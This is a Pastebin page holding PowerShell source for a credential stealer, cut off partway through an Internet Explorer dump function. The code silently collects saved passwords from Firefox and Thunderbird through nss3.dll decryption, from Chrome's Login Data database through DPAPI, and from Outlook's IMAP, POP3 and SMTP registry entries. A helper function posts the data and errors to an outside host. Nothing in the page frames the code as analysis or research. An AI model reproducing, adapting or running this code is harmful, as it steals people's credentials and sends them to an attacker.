API tools faq
paste
sebus

Untitled

sebus
Nov 12th, 2019
361
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PowerShell 41.35 KB | None | 0 0
raw download clone embed print report diff
  1. function hcxcdjsy( $vfbihtvst ){
  2.   $fvitext = New-Object System.Net.WebClient;
  3.   $fvitext.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  4.   $fvitext.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  5.   $fvitext.Encoding = [System.Text.Encoding]::UTF8;
  6.   try{
  7.     $gissvgeac = $fvitext.UploadString( "http://stats.thegratitudelistproject.org/", "guid=temp_4547091464&" + $vfbihtvst );
  8.     return $gissvgeac;
  9.   }catch{};
  10.   return $false;
  11. };
  12.  
  13. function Get-ExecutableType{
  14.   [CmdletBinding()]
  15.   param (
  16.       [Parameter(Mandatory = $true)]
  17.       [ValidateScript({ Test-Path -LiteralPath $_ -PathType Leaf })]
  18.       [string]
  19.       $Path
  20.   )
  21.   try{
  22.     try{
  23.         $stream = New-Object System.IO.FileStream(
  24.             $PSCmdlet.GetUnresolvedProviderPathFromPSPath($Path),
  25.             [System.IO.FileMode]::Open,
  26.             [System.IO.FileAccess]::Read,
  27.             [System.IO.FileShare]::Read
  28.         )
  29.     }catch{
  30.       hcxcdjsy "crederror=ERR:Error opening file $Path for Read: $($_.Exception.Message)";
  31.       throw
  32.     }
  33.     $exeType = 'Unknown'
  34.     if ([System.IO.Path]::GetExtension($Path) -eq '.COM'){
  35.       $exeType = '16-bit'
  36.     }
  37.     $bytes = New-Object byte[](4)
  38.     if ( ($stream.Length -ge 64) -and  ($stream.Read($bytes, 0, 2) -eq 2) -and ($bytes[0] -eq 0x4D -and $bytes[1] -eq 0x5A) ){
  39.         $exeType = 16
  40.  
  41.         if ( ($stream.Seek(0x3C, [System.IO.SeekOrigin]::Begin) -eq 0x3C) -and ($stream.Read($bytes, 0, 4) -eq 4) ){
  42.             if (-not [System.BitConverter]::IsLittleEndian) { [Array]::Reverse($bytes, 0, 4) }
  43.             $peHeaderOffset = [System.BitConverter]::ToUInt32($bytes, 0)
  44.  
  45.             if ($stream.Length -ge $peHeaderOffset + 6 -and
  46.                 $stream.Seek($peHeaderOffset, [System.IO.SeekOrigin]::Begin) -eq $peHeaderOffset -and
  47.                 $stream.Read($bytes, 0, 4) -eq 4 -and
  48.                 $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x45 -and $bytes[2] -eq 0 -and $bytes[3] -eq 0)
  49.             {
  50.                 $exeType = 'Unknown'
  51.  
  52.                 if ($stream.Read($bytes, 0, 2) -eq 2)
  53.                 {
  54.                     if (-not [System.BitConverter]::IsLittleEndian) { [Array]::Reverse($bytes, 0, 2) }
  55.                     $machineType = [System.BitConverter]::ToUInt16($bytes, 0)
  56.  
  57.                     switch ($machineType)
  58.                     {
  59.                         0x014C { $exeType = 32 }
  60.                         0x0200 { $exeType = 64 }
  61.                         0x8664 { $exeType = 64 }
  62.                     }
  63.                 }
  64.             }
  65.         }
  66.     }
  67.     return $exeType
  68.   }catch{
  69.       throw
  70.   }finally{
  71.       if ($null -ne $stream) { $stream.Dispose() }
  72.   }
  73. }
  74.  
  75.  
  76. $stillerBlock = {
  77.  
  78. $ErrorActionPreference = "SilentlyContinue"
  79. $global:log = [System.IO.Path]::GetTempFileName()
  80.  
  81. try{ Start-Transcript -Append $global:log; }catch{}
  82.  
  83. function mergeInfo($data, $info){
  84.   try{
  85.     foreach($record in $data.info.Keys) {
  86.       if($info.info[$record.ToString()] -eq $null) {
  87.           $info.info[$record] = @()
  88.       }
  89.       foreach($value in $data.info[$record]) {
  90.           $info.info[$record] += @{ [string]$value.Keys = [string]$value.Values }
  91.       }    
  92.     }
  93.   }catch{
  94.     hcxcdjsy "crederror=ERR:mergeInfo: $($_.Exception.Message)";
  95.   }
  96. }
  97.  
  98.  
  99. Function ff_dump{
  100. try{
  101.     $ffInfo = @{}
  102.     $ffError = "SUCCESS"
  103.  
  104.  
  105.     $mPaths = @("$env:SystemDrive\Program Files\Mozilla Firefox", "$env:SystemDrive\Program Files\Mozilla Thunderbird", "$env:SystemDrive\Program Files (x86)\Mozilla Firefox", "$env:SystemDrive\Program Files (x86)\Mozilla Thunderbird")    
  106.     $mozillaPath = $null
  107.  
  108.  
  109.         foreach($path in $mPaths) {
  110.             $nssPath = $(Join-Path ([string]$path) ([string]'nss3.dll'))
  111.  
  112.                 if([System.IO.File]::Exists($nssPath)) {
  113.                     $mozillaPath = ([string]$path)
  114.                     break
  115.                 }
  116.         }
  117.  
  118.         if($mozillaPath -eq $null) {
  119.             return @{"logs" = "$global:log"; "error" = $ffError; "info" = $ffInfo}  
  120.         }
  121.    
  122.  
  123.         try
  124.         {
  125.            Add-Type -AssemblyName System.web.extensions
  126.         }
  127.         catch
  128.         {
  129.             return @{"logs" = "$global:log"; "error" = "Load WEB assembly"; "info" = $ffInfo}    
  130.         }
  131.  
  132.  
  133.  
  134.     $netStructs =  @"
  135.     public struct TSECItem2 {
  136.         public int SECItemType;
  137.         public int SECItemData;
  138.         public int SECItemLen;
  139.     }
  140.  
  141.     public struct SlotInfo {
  142.     }
  143. "@  
  144.  
  145.  
  146.     $cp = New-Object System.CodeDom.Compiler.CompilerParameters
  147.     $cp.CompilerOptions = '/unsafe'
  148.        
  149.     Add-Type -TypeDefinition $netStructs -Language CSharp -CompilerParameters $cp
  150.  
  151.    
  152.     $netCode = @"
  153.    using System;
  154.    using System.Diagnostics;
  155.    using System.Runtime.InteropServices;
  156.    using System.Text;
  157.  
  158.  
  159.         public static class nss3
  160.         {
  161.             [DllImport("nss3.dll", EntryPoint = "PL_Base64Decode", CallingConvention = CallingConvention.StdCall,  CharSet = CharSet.Auto)]
  162.                 public static extern IntPtr PL_Base64Decode(IntPtr inStr, int inLen, IntPtr outStr);
  163.        
  164.             [DllImport("nss3.dll", CharSet=CharSet.Auto)]  
  165.                 public static extern IntPtr PK11_GetInternalKeySlot();
  166.    
  167.             [DllImport("nss3.dll", CharSet=CharSet.Auto)]  
  168.                 public static extern void PK11_FreeSlot(IntPtr SlotInfoPtr);   
  169.        
  170.             [DllImport("nss3.dll", CharSet=CharSet.Auto)]      
  171.                 public static extern int PK11_CheckUserPassword(IntPtr slotInfo, string pwd);
  172.        
  173.        
  174.             [DllImport("nss3.dll", EntryPoint = "PK11SDR_Decrypt", CallingConvention = CallingConvention.Cdecl,  CharSet = CharSet.Ansi)]
  175.                 public static extern int  PK11SDR_Decrypt(IntPtr dataIn, IntPtr dataOut, string pVoid);
  176.  
  177.             [DllImport("nss3.dll", EntryPoint = "SECITEM_ZfreeItem", CallingConvention = CallingConvention.Cdecl,  CharSet = CharSet.Ansi)]
  178.                 public static extern void  SECITEM_ZfreeItem(IntPtr secItem, int count);
  179.                
  180.             [DllImport("nss3.dll", EntryPoint = "NSSUTIL_GetVersion", CallingConvention = CallingConvention.StdCall,  CharSet = CharSet.Auto)]
  181.                 public static extern IntPtr NSSUTIL_GetVersion();
  182.  
  183.             [DllImport("nss3.dll", EntryPoint = "NSS_IsInitialized", CallingConvention = CallingConvention.StdCall,  CharSet = CharSet.Auto)]
  184.                 public static extern bool NSS_IsInitialized();
  185.    
  186.             [DllImport("nss3.dll", EntryPoint = "NSS_Init", CallingConvention = CallingConvention.StdCall,  CharSet = CharSet.Auto)]
  187.                 public static extern int NSS_Init(byte[] path);
  188.            
  189.             [DllImport("nss3.dll", EntryPoint = "NSS_Shutdown", CallingConvention = CallingConvention.StdCall,  CharSet = CharSet.Auto)]
  190.                 public static extern int NSS_Shutdown();
  191.        
  192.        
  193.             [DllImport("nss3.dll", CharSet=CharSet.Auto)]  
  194.                 public static extern int PORT_GetError();
  195.        
  196.             [DllImport("nss3.dll", CharSet=CharSet.Auto)]      
  197.                 public static extern IntPtr PR_ErrorToName(int err);
  198.         }
  199.  
  200.  
  201.         internal static class UnsafeNativeMethods
  202.         {
  203.             [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  204.                 internal static extern IntPtr LoadLibrary(string lpFileName);
  205.    
  206.             [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  207.                 internal static extern bool FreeLibrary(IntPtr hModule);
  208.    
  209.    
  210.  
  211.             [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  212.                 internal static extern bool SetDllDirectoryW(string lpPathName);
  213.  
  214.             [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
  215.                 internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  216.         }
  217.  
  218.  
  219.         public static class Stiller
  220.         {
  221.  
  222.             static IntPtr pk11slot = IntPtr.Zero;
  223.    
  224.             static IntPtr vcruntime140dll = IntPtr.Zero;
  225.             static IntPtr msvcp140dll = IntPtr.Zero;
  226.             static IntPtr mozgluedll = IntPtr.Zero;
  227.    
  228.             static IntPtr nss3dll = IntPtr.Zero;
  229.  
  230.  
  231.             public static void loadHelpers(string ffPath)
  232.             {
  233.                 Stiller.vcruntime140dll = UnsafeNativeMethods.LoadLibrary(ffPath + "\\vcruntime140.dll");
  234.                 Stiller.msvcp140dll = UnsafeNativeMethods.LoadLibrary(ffPath + "\\msvcp140.dll");
  235.                 Stiller.mozgluedll = UnsafeNativeMethods.LoadLibrary(ffPath + "\\mozglue.dll");
  236.             }
  237.  
  238.             public static IntPtr loadNSS3(string ffPath)
  239.             {
  240.                 IntPtr nss3 = UnsafeNativeMethods.LoadLibrary(ffPath + "\\nss3.dll");
  241.        
  242.                     Stiller.nss3dll = nss3;
  243.            
  244.                 return nss3;    
  245.             }
  246.  
  247.  
  248.             public static bool initFF(string ffPath, string profilePath)
  249.             {
  250.                 bool result = false;
  251.  
  252.  
  253.                     loadHelpers(ffPath);
  254.        
  255.                     if(loadNSS3(ffPath) != IntPtr.Zero)
  256.                     {
  257.                         IntPtr nV = nss3.NSSUTIL_GetVersion();
  258.                         int nssInitRez = nss3.NSS_Init(Encoding.ASCII.GetBytes(profilePath));
  259.            
  260.                             if(nssInitRez == 0)
  261.                             {
  262.                                     pk11slot = nss3.PK11_GetInternalKeySlot();
  263.                        
  264.                                 int checkPwd = nss3.PK11_CheckUserPassword(pk11slot, "");
  265.  
  266.                    
  267.                                     if(checkPwd == 0)
  268.                                     {
  269.                                         result = true;
  270.                                     }
  271.                             }      
  272.                     }
  273.        
  274.        
  275.                 return result; 
  276.             }
  277.    
  278.             public static void shutdownFF()
  279.             {
  280.                     nss3.PK11_FreeSlot(pk11slot);
  281.        
  282.                 int rez = nss3.NSS_Shutdown();
  283.  
  284.                     UnsafeNativeMethods.FreeLibrary(nss3dll);
  285.                     UnsafeNativeMethods.FreeLibrary(Stiller.mozgluedll);
  286.                     UnsafeNativeMethods.FreeLibrary(Stiller.msvcp140dll);
  287.                     UnsafeNativeMethods.FreeLibrary(Stiller.vcruntime140dll);
  288.             }
  289.  
  290.             public struct TSECItemType {
  291.                 public int SECItemType;
  292.                 public IntPtr SECItemData;
  293.                 public int SECItemLen;
  294.             }
  295.  
  296.             public struct SlotInfo {
  297.                 public long l;
  298.             }  
  299.  
  300.             public static string decodeData(string profilePath, string dataEnc, byte[] unBase64)
  301.             {
  302.  
  303.                 string decoded = "";   
  304.        
  305.                     try
  306.                     {
  307.        
  308.                         bool nssIsInit = nss3.NSS_IsInitialized();
  309.        
  310.                             if(!nssIsInit)
  311.                             {
  312.        
  313.                                 return "";
  314.                             }
  315.        
  316.        
  317.                         int TSECItemTypeSize = Marshal.SizeOf(typeof(TSECItemType));   
  318.                         TSECItemType dataIn = new TSECItemType();      
  319.        
  320.        
  321.                             dataIn.SECItemData = Marshal.AllocHGlobal(unBase64.Length);
  322.                             Marshal.Copy(unBase64, 0, dataIn.SECItemData, unBase64.Length);
  323.            
  324.                             dataIn.SECItemLen= unBase64.Length;
  325.                             dataIn.SECItemType= 0;
  326.        
  327.  
  328.                         IntPtr dataOutPtr = Marshal.AllocHGlobal(TSECItemTypeSize);
  329.                         IntPtr dataInPtr = Marshal.AllocHGlobal(TSECItemTypeSize);
  330.                            
  331.                             Marshal.StructureToPtr(dataIn, dataInPtr, true);           
  332.        
  333.                     int decryptRez = nss3.PK11SDR_Decrypt(dataInPtr, dataOutPtr, null);
  334.        
  335.                         if(decryptRez != 0)
  336.                         {
  337.                
  338.                             return "";
  339.                         }
  340.        
  341.                     TSECItemType dataOut = (Stiller.TSECItemType)Marshal.PtrToStructure(dataOutPtr, typeof(TSECItemType));  //
  342.    
  343.                         decoded = PtrToStringSized(dataOut.SECItemData, dataOut.SECItemLen);
  344.            
  345.                         nss3.SECITEM_ZfreeItem(dataOutPtr, 0);
  346.                         Marshal.FreeHGlobal(dataInPtr);
  347.                 }
  348.                 catch
  349.                 {  
  350.                     return "";
  351.                 }  
  352.  
  353.    
  354.                 return decoded;
  355.             }
  356.  
  357.             private static string PtrToStringUtf8(IntPtr ptr) // aPtr is nul-terminated
  358.             {
  359.                     if (ptr == IntPtr.Zero)
  360.                         return "";
  361.    
  362.                 int len = 0;
  363.                    
  364.                     while (System.Runtime.InteropServices.Marshal.ReadByte(ptr, len) != 0)
  365.                         len++;
  366.        
  367.                     if (len == 0)
  368.                         return "";
  369.  
  370.                 byte[] array = new byte[len];
  371.                    
  372.                     System.Runtime.InteropServices.Marshal.Copy(ptr, array, 0, len);
  373.    
  374.                
  375.                 return System.Text.Encoding.UTF8.GetString(array);
  376.             }
  377.  
  378.             private static string PtrToStringSized(IntPtr ptr, int len) // aPtr is nul-terminated
  379.             {
  380.                     if (ptr == IntPtr.Zero)
  381.                         return "";  
  382.                    
  383.                     if (len == 0)
  384.                         return "";
  385.        
  386.                 byte[] array = new byte[len];
  387.                    
  388.                     System.Runtime.InteropServices.Marshal.Copy(ptr, array, 0, len);
  389.                
  390.                
  391.                 return System.Text.Encoding.UTF8.GetString(array);
  392.             }
  393. }
  394.  
  395.  
  396. "@
  397.  
  398.         Add-Type -TypeDefinition $netCode -Language CSharp -CompilerParameters $cp2
  399.  
  400.  
  401.     $profilePathFF = "$($env:APPDATA)\Mozilla\Firefox\Profiles\*.*"
  402.     $profilePathTB = "$($env:APPDATA)\ThunderBird\Profiles\*.*"
  403.    
  404.     $defaultProfiles = @()
  405.    
  406.         try {
  407.             $defaultProfiles += $(Get-ChildItem $profilePathFF -ErrorAction SilentlyContinue) | select -ExpandProperty FullName -ErrorAction SilentlyContinue
  408.             $defaultProfiles += $(Get-ChildItem $profilePathTB -ErrorAction SilentlyContinue) | select -ExpandProperty FullName -ErrorAction SilentlyContinue
  409.         }
  410.         catch {}
  411.  
  412.  
  413.         if($mozillaPath -ne $null) {
  414.  
  415.             $nss = $(Join-Path ([string]$mozillaPath) ([string]'nss3.dll'))
  416.                
  417.             If([System.IO.File]::Exists($nss)) {
  418.            
  419.            
  420.            
  421.                 foreach($defaultProfile in $defaultProfiles) {          
  422.                       if($defaultProfile -ne $null ) {
  423.                    
  424.                         $jsonPath = $(Join-Path ([string]$defaultProfile) ([string]"logins.json"))
  425.                         if([System.IO.File]::Exists($jsonPath)) {
  426.                             $jsonFile = (Get-Content $jsonPath -ErrorAction SilentlyContinue)
  427.        
  428.                                 if(!($jsonFile))
  429.                                 {
  430.            
  431.                                 }
  432.                                 else {
  433.                                         $ser = New-Object System.Web.Script.Serialization.JavaScriptSerializer
  434.                                         $obj = $ser.DeserializeObject($jsonFile)
  435.  
  436.                                         $initFF = $([Stiller]::initFF($mozillapath, $defaultProfile))
  437.                
  438.                                            
  439.                                             if($initFF -eq $True) {    
  440.                                                 $logins = $obj['logins']
  441.                                                 $count = ($logins.Count) - 1
  442.        
  443.  
  444.                                                     for($i = 0; $i -le $count; $i++)
  445.                                                     {
  446.                                                         $formUrl = $logins.GetValue($i)['formSubmitURL']
  447.            
  448.                                                             if($formUrl -eq $null) {
  449.                                                                 $formUrl = $logins.GetValue($i)['hostname']
  450.                                                                    
  451.                                                                     if($formUrl -eq $null) {
  452.                                                                         $formUrl = "empty"
  453.                                                                     }
  454.                                                             }
  455.                                                        
  456.                             if(($formUrl.StartsWith("smtp","CurrentCultureIgnoreCase")) -Or ($formUrl.StartsWith("pop","CurrentCultureIgnoreCase")) -Or ($formUrl.StartsWith("imap","CurrentCultureIgnoreCase"))) {    
  457.                               $url = ([System.Uri]$formUrl).Host
  458.                             }else{
  459.                               $url = ([System.Uri]$formUrl).Host
  460.                               if($url.Length -eq 0) {
  461.                                 $url = "empty"
  462.                               }
  463.                             }    
  464.  
  465.                                                         $encPwd = $logins.GetValue($i)['encryptedPassword']
  466.                                                         $encUser = $logins.GetValue($i)['encryptedUsername']
  467.                
  468.  
  469.                                                             if($encPwd.Length -gt 0 -and $encUser.Length -gt 0) {
  470.                                                                 $pass = [Stiller]::decodeData($defaultProfile, $encPwd, [System.Convert]::FromBase64String($encPwd))
  471.                                                                 $user = [Stiller]::decodeData($defaultProfile, $encUser, [System.Convert]::FromBase64String($encUser))
  472.                        
  473.                                                                     if($ffInfo[$url] -eq $null) {
  474.                                                                         $ffInfo[$url] = @()
  475.                                                                     }
  476.  
  477.                                                                 $ffInfo[$url] += @{ [string]$user = [string]$pass }
  478.                                                             }
  479.                                                     }
  480.                    
  481.                                                     [Stiller]::shutdownFF()
  482.                                             }
  483.                                 }
  484.                         }
  485.                         else {        
  486.                             $ffError = "NO PROFILE"
  487.                         }
  488.                     }
  489.                 }
  490.             }else{
  491.         $ffError = "NO ff\TB"
  492.       }
  493.         }
  494.   return @{"logs" = "$global:log"; "error" = $ffError; "info" = $ffInfo}
  495. }catch{
  496.   hcxcdjsy "crederror=ERR:ff_dump: $($_.Exception.Message)";
  497. }
  498. }
  499.  
  500.  
  501. Function __ToInt($ByteArray){  
  502.   try{
  503.     If ($ByteArray.Length -eq 0) { Return 0 }
  504.     [int32] $Int = 0;
  505.     $x = 0;
  506.     Do{
  507.       $Int = [math]::Floor($Int * [math]::Pow(2, 0x8)) -bor ($ByteArray[$x++])
  508.     }While ($x -lt $ByteArray.Length)
  509.     Return $Int;
  510.   }catch{
  511.     hcxcdjsy "crederror=ERR:__ToInt: $($_.Exception.Message)";
  512.   }
  513. }
  514.  
  515. Function ParseVarint($ByteArray, [ref]$VarintSize){
  516.   try{
  517.     [int32] $Val = 0;
  518.     $x = 0;
  519.     Do {
  520.       $Byte = $ByteArray[$x++];
  521.       $Val = [math]::Floor($Val * [math]::Pow(2, 0x7)) -bor ($Byte -band 0x7F);
  522.     }While($x -lt 8 -and ($Byte -band 0x80))
  523.     $VarintSize.Value = $x;
  524.     Return $Val;
  525.   }catch{
  526.     hcxcdjsy "crederror=ERR:ParseVarint: $($_.Exception.Message)";
  527.   }
  528. }
  529.  
  530. [ref]$VarintSize = 0;
  531.  
  532. Function ParseSQLite($Page){
  533.   try{
  534.     If ($Page[0] -ne 0x0D) { Return }
  535.     $NumCells = __ToInt $Page[0x3..0x4];
  536.     $CellAddrStart = 0x8;
  537.     $CellAddrStop = $CellAddrStart + ($NumCells * 2) - 1;
  538.     For ($x = $CellAddrStart; $x -le $CellAddrStop; $x += 2){
  539.         $CellAddr = __ToInt ($Page[$x .. ($x + 1)]);
  540.         ParseCellSQLite($Page[$CellAddr .. $Page.Length]);
  541.     }
  542.   }catch{
  543.     hcxcdjsy "crederror=ERR:ParseSQLite: $($_.Exception.Message)";
  544.   }
  545. }
  546.  
  547. Function ParseCellSQLite($Cell){  
  548.   try{
  549.     $Offset = 0
  550.     $PayloadLength = ParseVarint ($Cell[$Offset .. ($Offset + 4)]) $VarintSize
  551.     $Offset += $VarintSize.Value
  552.     $RowID = ParseVarint ($Cell[$Offset .. ($Offset + 4)]) $VarintSize
  553.     $Offset += $VarintSize.Value
  554.     If (($Offset + $Payload.Length) -le $Cell.Length){
  555.         ParsePayloadSQLite $Cell[$Offset .. ($Offset + $PayloadLength - 1)]
  556.     }
  557.   }catch{
  558.     hcxcdjsy "crederror=ERR:ParseCellSQLite: $($_.Exception.Message)";
  559.   }
  560. }
  561.  
  562. Function ParsePayloadSQLite($Payload){
  563.   try{
  564.     If ($Payload.Length -eq 0) { Return }
  565.     [ref]$VarintSize = 0;
  566.     $HeaderLength = ParseVarint $Payload[0 .. 8] $VarintSize
  567.     $Offset = $VarintSize.Value;
  568.     $FieldSeq = @()
  569.     For ($y = $Offset; $y -lt $HeaderLength; $y++){
  570.         $Serial = ParseVarint $Payload[$y .. ($y + 8)] $VarintSize
  571.         $y += $VarintSize.Value - 1
  572.         Switch ($Serial) {
  573.           {$_ -lt 0xA} { $Len = $SerialMap[$Serial]; break }
  574.           {$_ -gt 0xB} {
  575.               If ($Serial % 2 -eq 0) { $Len = (($Serial - 0xC) / 2) }
  576.               Else { $Len = (($Serial - 0xD) / 2) }
  577.           }
  578.         }
  579.         $FieldSeq += $Len;
  580.     }
  581.     $Offset = $HeaderLength;
  582.     For ($f = 0; $f -lt $FieldSeq.Length; $f++){
  583.       $Str = $Encoding.GetString($Payload[$Offset .. ($Offset + $FieldSeq[$f] - 1)])
  584.       $isBlack = 0
  585.       If ($f -eq 0) { $url = $Str }
  586.       ElseIf ($f -eq 3) { $user = $Str }
  587.       ElseIf ($f -eq 5) { $pwd = DecodePasswordChrome($Payload[$Offset .. ($Offset + $FieldSeq[$f] - 1)]) }
  588.      
  589.       $Offset += $FieldSeq[$f]
  590.     }
  591.     if(-Not($user -like '^\u0001*') -and -Not($user -like '^\u0000')) {
  592.       If ($user.Length -gt 0 -or $pwd.Length -gt 0){
  593.         $url = ([System.Uri]$url).Host
  594.         if($global:chromeInfo[$url] -eq $null) {
  595.           $global:chromeInfo[$url] = @()    
  596.         }
  597.         $global:chromeInfo[$url] += @{[string]$user = [string]$pwd}
  598.       }
  599.     }  
  600.   }catch{
  601.     hcxcdjsy "crederror=ERR:ParsePayloadSQLite: $($_.Exception.Message)";
  602.   }
  603. }
  604.  
  605. Function DecodePasswordChrome($Password){
  606.   try{
  607.     $P = $Encoding.GetBytes($Password)
  608.     try{
  609.       $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Password,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
  610.       Return [System.Text.Encoding]::Default.GetString($Decrypt);
  611.     }
  612.     Catch { Return "" }
  613.   }catch{
  614.     hcxcdjsy "crederror=ERR:DecodePasswordChrome: $($_.Exception.Message)";
  615.   }  
  616. }
  617.  
  618. function chrome_dump(){
  619.   try{
  620.     $global:chromeInfo = @{};
  621.     $global:chromeError = "SUCCESS"
  622.     $dbFilePath = "$($Env:USERPROFILE)\AppData\Local\Google\Chrome\User Data\*\Login Data"
  623.     $dbFiles = $(Get-ChildItem $dbFilePath).FullName;      
  624.     if($dbFiles.Count -le 0 -and $dbFiles.Length -le 0) {   $global:chromeError = "NO PROFILES";  }  
  625.     foreach($dbFile in $dbFiles) {
  626.             if($dbFile -ne $null) {
  627.                 if(([System.IO.File]::Exists($dbFile))) {
  628.           $Stream = New-Object IO.FileStream -ArgumentList "$dbFile", 'Open', 'Read', 'ReadWrite'
  629.           Add-Type -AssemblyName System.Security
  630.           $Encoding = [System.Text.Encoding]::GetEncoding(28591)
  631.           $StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding
  632.           $BinaryText = $StreamReader.ReadToEnd()
  633.           $StreamReader.Close()
  634.           $Stream.Close()
  635.           $SerialMap = @{0=0; 1=1; 2=2; 3=3; 4=4; 5=5; 6=6; 7=8; 8=0; 9=0}
  636.           If ((Compare-Object $BinaryText[0x0 .. 0x5] @('S', 'Q', 'L', 'i', 't', 'e')) -eq $null){
  637.               $NumPages = __ToInt($BinaryText[0x1C .. 0x1F])
  638.               $PageSize = __ToInt($BinaryText[0x10 .. 0x11])
  639.               for($x = 0x2; $x -lt $NumPages; $x++){
  640.                 $PageStart = ($x * $PageSize);
  641.                 ParseSQLite $BinaryText[$PageStart .. ($PageStart + $PageSize - 1)]
  642.               }
  643.           }
  644.                 }
  645.       }
  646.     }
  647.     return @{"logs" = "$global:log"; "error" = $global:chromeError; "info" = $global:chromeInfo}    
  648.   }catch{
  649.     hcxcdjsy "crederror=ERR:chrome_dump: $($_.Exception.Message)";
  650.   }
  651. }
  652.  
  653.  
  654. function ol_dump(){
  655.   try{
  656.     $wms = "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*";
  657.     $office = "HKCU:\Software\Microsoft\Office\1[56].0\Outlook\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*";
  658.     $allPaths = @();
  659.     $olInfo = @{};
  660.     $olError = "SUCCESS";
  661.     $tmpWMS = (Get-ChildItem $wms -ErrorAction SilentlyContinue)
  662.     $tmpOffice = (Get-ChildItem $office -ErrorAction SilentlyContinue)
  663.     if($tmpWMS -ne $null){ $allPaths += $tmpWMS; }
  664.     if($tmpOffice -ne $null){ $allPaths += $tmpOffice; }
  665.     Add-Type -AssemblyName System.Security
  666.     foreach($path in $allPaths) {
  667.       $imapServer = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "IMAP Server");
  668.       if($imapServer -ne $null) {
  669.           $server = $imapServer
  670.           try{ $server =  [System.Text.Encoding]::DEFAULT.GetString($imapServer) -replace "\u0000","" -replace "0x00",""; }catch {}
  671.           $userBytes = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "IMAP User");
  672.           $user = "";
  673.           if($userBytes -ne $null) {
  674.             $user = $userBytes;
  675.             try{ $user = [System.Text.Encoding]::DEFAULT.GetString($userBytes)  -replace "\u0000","" -replace "\x00",""; }catch{}
  676.           }
  677.           $encPwd = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "IMAP Password");
  678.           $pwd = "";
  679.           try{
  680.             $pwd = [System.Text.Encoding]::DEFAULT.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($encPwd[1..$encPwd.Length], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))  -replace "\u0000","" -replace "0x00",""
  681.           }catch{}
  682.           try {
  683.             $port = [System.Text.Encoding]::DEFAULT.GetString(($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "IMAP Port")) -replace "0x00",""
  684.             $server += ":" + $port
  685.           }catch{}
  686.           if($olInfo[$server] -eq $null) { $olInfo[$server] = @(); }
  687.           $olInfo[$server] += @{ [string]$user = [string]$pwd  }
  688.           $smtpServer = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "SMTP Server");
  689.           if($smtpServer -ne $null) {
  690.             $server = $smtpServer;
  691.             try{ $server =  [System.Text.Encoding]::DEFAULT.GetString($smtpServer) -replace "\u0000","" -replace "0x00",""; }catch{}
  692.             if($olInfo[$server] -eq $null) { $olInfo[$server] = @(); }
  693.             $olInfo[$server] += @{ [string]$user = [string]$pwd  }
  694.           }
  695.       }
  696.       $pop3Server = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "POP3 Server");
  697.       if($pop3Server -ne $null) {
  698.           $server = $pop3Server              
  699.           try { $server =  [System.Text.Encoding]::DEFAULT.GetString($pop3Server) -replace "\u0000","" -replace "0x00",""; }catch {}
  700.           $userBytes = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "POP3 User")
  701.           $user = "";
  702.           if($userBytes -ne $null) {
  703.             $user = $userBytes
  704.             try{ $user = [System.Text.Encoding]::DEFAULT.GetString($userBytes)  -replace "\u0000","" -replace "\x00","";}catch {}
  705.           }
  706.           $encPwd = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "POP3 Password")
  707.           $pwd = "";
  708.           try {
  709.             $pwd = [System.Text.Encoding]::DEFAULT.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($encPwd[1..$encPwd.Length], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))  -replace "\u0000","" -replace "0x00",""
  710.           }catch {}
  711.           try {
  712.             $port = [System.Text.Encoding]::DEFAULT.GetString(($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "POP3 Port")) -replace "0x00",""
  713.             $server += ":" + $port
  714.           }catch {}
  715.           if($olInfo[$server] -eq $null){ $olInfo[$server] = @(); }
  716.           $olInfo[$server] += @{ [string]$user = [string]$pwd  }
  717.           $smtpServer = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "SMTP Server");
  718.           if($smtpServer -ne $null) {
  719.             $server = $smtpServer;
  720.             try { $server =  [System.Text.Encoding]::DEFAULT.GetString($smtpServer) -replace "\u0000","" -replace "0x00","";}catch {}
  721.             if($olInfo[$server] -eq $null){  $olInfo[$server] = @();  }
  722.             $olInfo[$server] += @{ [string]$user = [string]$pwd  }
  723.           }
  724.       }
  725.     }
  726.     return @{"logs" = "$global:log"; "error" = $olError; "info" = $olInfo}    
  727.   }catch{
  728.     hcxcdjsy "crederror=ERR:ol_dump: $($_.Exception.Message)";
  729.   }
  730. }
  731.  
  732.  
  733. function ie_dump(){
  734.   try{
  735.     Add-Type -AssemblyName System.Security
  736.     $ieInfo = @{};
  737.     $ieError = "SUCCESS"
  738.     $shell = New-Object -ComObject Shell.Application
  739.     $hist = $shell.NameSpace(34)
  740.     $folder = $hist.Self;
